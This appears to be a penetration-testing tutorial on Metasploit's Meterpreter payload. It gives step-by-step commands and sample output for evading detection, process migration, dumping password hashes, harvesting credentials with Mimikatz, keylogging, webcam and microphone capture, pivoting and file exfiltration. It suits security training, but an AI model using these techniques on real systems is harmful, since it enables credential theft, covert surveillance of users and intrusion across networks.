Meterpreter Mastery

Part 3

The Ultimate Post-Exploitation Framework

What is Meterpreter?

Imagine you've successfully exploited a target system. Now what? You need to explore the system, steal data, escalate privileges, and maybe move to other computers on the network. This is where Meterpreter shines.

Meterpreter is Metasploit's advanced payload that gives you a powerful command-and-control agent running directly on the compromised system. Think of it as your remote Swiss Army knife for post-exploitation.

The Magic: How Meterpreter Stays Hidden

Meterpreter is incredibly stealthy. Here's why:

1. Runs Only in Memory (RAM)

Key Point: Meterpreter NEVER writes itself to disk. No meterpreter.exe file exists!

Why this matters:

• Antivirus typically scans files on disk (downloads, new executables)

• Meterpreter runs purely in RAM → No file to scan

• Appears as a legitimate process (more on this below)

Real Example: The Disguise

Let's say you exploited a Windows machine using MS17-010 (EternalBlue). Check Meterpreter's process ID:

```
meterpreter > getpid
Current pid: 1304
```

Now list all processes:

```
meterpreter > ps
```

Look at PID 1304:

```
1304  692   spoolsv.exe   x64   0   NT AUTHORITY\SYSTEM
```

Notice: It shows as `spoolsv.exe` (Windows Print Spooler service), NOT meterpreter.exe!

Even if you check the DLLs (libraries) loaded by this process:

```
C:\> tasklist /m /fi "pid eq 1304"
```

You'll see normal Windows DLLs: ntdll.dll, kernel32.dll, user32.dll, etc.

No meterpreter.dll in sight!

2. Encrypted Communication (TLS)

All communication between Meterpreter and your attacking machine is encrypted using TLS (same encryption as HTTPS).

Why this matters:

- Network IDS/IPS (Intrusion Detection/Prevention Systems) can't see what you're doing
- If organization doesn't decrypt HTTPS traffic, you're invisible
- Even if traffic is monitored, it looks like normal encrypted web traffic

Reality check: Modern antivirus WILL detect Meterpreter. These stealth features just make detection harder, not impossible.

Understanding Meterpreter Versions

Meterpreter isn't one-size-fits-all. Different versions exist for different scenarios!

Available Platforms

- Android - Mobile device exploitation
- Apple iOS - iPhone/iPad exploitation
- Java - Cross-platform Java applications
- Linux - x86, x64, ARM architectures
- OSX - Mac computers
- PHP - Web servers running PHP
- Python - Systems with Python installed
- Windows - x86, x64 architectures

List all available Meterpreter payloads:

```
msfvenom --list payloads | grep meterpreter
```

How to Choose the Right Meterpreter Version

Your choice depends on three factors:

Factor 1: Target Operating System

• Windows 10 machine → windows/x64/meterpreter/reverse_tcp
• Ubuntu Linux server → linux/x64/meterpreter/reverse_tcp
• Mac laptop → osx/x64/meterpreter/reverse_tcp
• Android phone → android/meterpreter/reverse_tcp

Factor 2: What's Installed on Target

• PHP website → php/meterpreter_reverse_tcp
• Python installed → python/meterpreter_reverse_tcp
• Java application → java/meterpreter/reverse_tcp

Factor 3: Network Connection Type

• Firewall blocks outbound connections → Use bind_tcp (listen mode)
• Only HTTPS allowed → Use reverse_https
• Need extra stealth → Use reverse_http or reverse_https
• IPv6 monitoring is lax → Use bind_ipv6_tcp

Staged vs Inline (Stageless) Payloads

Remember from previous Metasploit guides:

Staged: windows/x64/meterpreter/reverse_tcp (slash /) • *Small initial payload* • *Downloads full Meterpreter later* • *Use when exploit has size limits*

Inline: windows/x64/meterpreter_reverse_tcp (underscore _) • *Everything in one payload* • *Larger but more reliable* • *Use when you have space*

Default Payloads in Exploits

Most exploits come with a default Meterpreter payload:

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
```

You can change this or view alternatives:

```
show payloads
```

Meterpreter Commands: Your Post-Exploitation Toolkit

Once you have a Meterpreter session, you get access to 100+ specialized commands!

`help`

ALWAYS run this first in any new Meterpreter session. Different versions have different commands!

Command Categories

Commands are organized into categories:

• Core Commands - Session management
• File System Commands - Navigate and manipulate files
• Networking Commands - Network reconnaissance
• System Commands - System information and control
• User Interface Commands - Screenshot, keylogging
• Webcam Commands - Camera access
• Audio Commands - Microphone recording
• Privilege Escalation Commands - Elevate to SYSTEM
• Password Database Commands - Dump credentials

Essential Core Commands

`background`

Backgrounds current session (same as CTRL+Z). Keeps it alive while you do other things.

`sessions`

Quickly switch between active sessions. Essential when compromising multiple targets!

`guid`

Gets the session's Globally Unique Identifier. Useful for tracking in complex engagements.

`load [extension]`

Loads additional modules. Examples: kiwi (credential dumping), python (run Python code)

`migrate [PID]`

CRITICAL COMMAND! Moves Meterpreter to another process. Essential for stability and stealth.

File System Commands

`pwd`

Print working directory (where am I?)

`ls / dir`

List files in current directory

`cd [directory]`

Change directory. Works just like normal command line!

`cat [file]`

Display file contents to screen

`download [file]`

Download file from target to your attacking machine

`upload [file]`

Upload file from your machine to target

`search -f [filename]`

Find files quickly! Example: `search -f flag.txt`

Networking Commands

`ifconfig`

Show network interfaces. Critical for finding other networks!

`arp`

Display ARP cache. See other devices on local network.

`netstat`

Show active network connections. Find other services and connections.

`portfwd`

Port forwarding! Access services on internal network through compromised host.

`route`

View and modify routing table. Essential for pivoting to other networks.

System Commands (The Power Tools)

`sysinfo`

RUN THIS FIRST! Shows OS version, architecture, computer name, domain.

`getuid`

Shows what user you're running as. **NT AUTHORITY\SYSTEM = jackpot!**

`getpid`

Shows current process ID. Need this for migration!

`ps`

ESSENTIAL! Lists all running processes. Use this to find migration targets.

`kill [PID]`

Kill a process by PID

`execute -f [program]`

Execute a program on target. Example: execute -f cmd.exe

`shell`

Drops into regular command shell (cmd.exe on Windows). *Press CTRL+Z to return to Meterpreter.*

Critical Commands Every Pentester Uses

1. getuid - Know Your Privileges

This tells you what user account you're running as:

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

Possible results:

`NT AUTHORITY\SYSTEM` - Highest privileges! (like root on Linux)

`Administrator` - Admin user

`DESKTOP-ABC\john` - Regular user (need privilege escalation)

2. ps & migrate - Process Migration

Why migrate?

• Current process might crash or get killed
• Want to keylog a specific application (Word, browser, etc.)
• Need better stability and stealth
• Original exploit process is suspicious

Step 1: List processes

```
meterpreter > ps
```

Look for:

• Long-running system processes (svchost.exe, explorer.exe)
• Processes running as SYSTEM or Administrator
• Stable processes that won't crash

Step 2: Migrate to chosen process

```
meterpreter > migrate 716
[*] Migrating from 1304 to 716... [*] Migration completed successfully.
```

WARNING: Don't migrate from SYSTEM to a regular user process. You'll lose privileges!

3. hashdump - Steal Password Hashes

Dumps the SAM database (where Windows stores password hashes):

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089
c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
```

What you can do with these hashes:

• Crack them offline using hashcat or John the Ripper
• Use in Pass-the-Hash attacks to authenticate to other systems
• Look them up in online NTLM databases
• Use for lateral movement across the network

4. search - Find Files Fast

Find files without manually navigating directories:

```
meterpreter > search -f flag2.txt
Found 1 result... c:\Windows\System32\config\flag2.txt (34 bytes)
```

Real-world usage:

• search -f *.docx (find Word documents)
• search -f password.txt
• search -f *config* (find configuration files)
• search -f *.kdbx (find KeePass password databases)

5. shell - Drop to Command Line

Sometimes you need a regular command shell:

`meterpreter > shell`

```
Process 2124 created. Channel 1 created. Microsoft Windows [Version 6.1.7601]
C:\Windows\system32>
```

Return to Meterpreter: `CTRL+Z`

Advanced Surveillance Commands

Keylogging

Capture everything the user types:

`meterpreter > keyscan_start`

(Starts capturing keystrokes)

`meterpreter > keyscan_dump`

(Displays captured keystrokes)

`meterpreter > keyscan_stop`

(Stops keylogger)

Pro tip: Migrate to browser or Word process before keylogging to capture passwords and sensitive data!

Screenshots and Screen Sharing

`screenshot`

Takes a snapshot of the desktop

`screenshare`

Watch the user's screen in real-time!

Webcam Access

`webcam_list`

Lists available webcams

`webcam_snap`

Takes a photo

`webcam_stream`

Streams live video

Microphone Recording

`record_mic`

Records audio from default microphone. Specify duration in seconds.

Loading Extensions: Supercharge Meterpreter

Meterpreter can load additional modules for specialized tasks!

Loading Python

Run Python code directly on target:

```
meterpreter > load python
Loading extension python...Success.
meterpreter > python_execute "print('Hello from target!')"
Hello from target!
```

Loading Kiwi (Mimikatz)

Kiwi is Metasploit's implementation of Mimikatz - the legendary credential dumping tool!

```
meterpreter > load kiwi
Loading extension kiwi...   .#####.   mimikatz 2.2.0  .## ^ ##.  "A La Vie, A L'Amour" Success.
```

New commands available:

`creds_all` - Retrieve ALL credentials

`creds_kerberos` - Kerberos tickets

`creds_msv` - LM/NTLM credentials

`creds_wdigest` - WDigest plaintext passwords

`golden_ticket_create` - Create Kerberos golden tickets

`lsa_dump_sam` - Dump SAM database

`lsa_dump_secrets` - Dump LSA secrets

`wifi_list` - List saved WiFi passwords

Game changer: `creds_all` dumps EVERYTHING - passwords, hashes, Kerberos tickets, the works!

Post-Exploitation Goals with Meterpreter

Once you have Meterpreter access, here's what you typically do:

1. Information Gathering

• sysinfo - System details
• getuid - Current user
• ifconfig - Network interfaces
• ps - Running processes
• netstat - Network connections

2. Credential Harvesting

• hashdump - Password hashes
• load kiwi; creds_all - Everything Mimikatz can get
• keyscan_start/dump - Keylogging
• search -f *pass* - Find password files

3. Privilege Escalation

• getsystem - Attempt SYSTEM elevation
• run post/windows/gather/enum_patches - Find missing patches
• migrate to higher-privileged process

4. Lateral Movement

• arp - Find other machines
• route - Add routes to other networks
• portfwd - Forward ports for pivoting
• Use dumped credentials on other systems

5. Data Exfiltration

• search - Find interesting files
• download - Exfiltrate files
• screenshot - Capture visual data
• record_mic - Audio surveillance

Meterpreter Best Practices

1. Migrate IMMEDIATELY

Your initial process might be unstable. Migrate to something stable like explorer.exe or a system service.

2. Run help First

Different Meterpreter versions have different commands. Always check what's available!

3. Background, Don't Exit

Use background or CTRL+Z to keep sessions alive. Exiting kills the session permanently.

4. Check Privileges Early

Run getuid immediately. If you're not SYSTEM, you'll need privilege escalation.

5. Use search Over Manual Navigation

Don't waste time with cd and ls. Use search to find files quickly!

Key Takeaways

✓ Meterpreter runs only in memory - no disk footprint

✓ Encrypted communication (TLS) evades network monitoring

✓ Disguises as legitimate processes (spoolsv.exe, etc.)

✓ Multiple versions for different platforms and scenarios

✓ 100+ built-in commands for post-exploitation

✓ Process migration essential for stability and stealth

✓ Extensions like Kiwi supercharge credential dumping

✓ Supports complete post-exploitation workflow

✓ Can load Python, Mimikatz, and custom tools

✓ Critical for privilege escalation and lateral movement

Conclusion

Meterpreter is the crown jewel of Metasploit. While other payloads give you basic shell access, Meterpreter provides a complete post-exploitation platform with advanced capabilities built in.

From its memory-only execution to encrypted communications, from process migration to credential dumping, Meterpreter gives penetration testers everything they need to thoroughly assess a compromised system.

Master these commands:

• help, sysinfo, getuid, ps

• migrate, hashdump, search, shell

• load kiwi; creds_all

And you'll have the foundation for advanced post-exploitation. Remember: with great power comes great responsibility. Use Meterpreter only on systems you're authorized to test.

Stay stealthy, stay ethical, and happy hunting! 🎯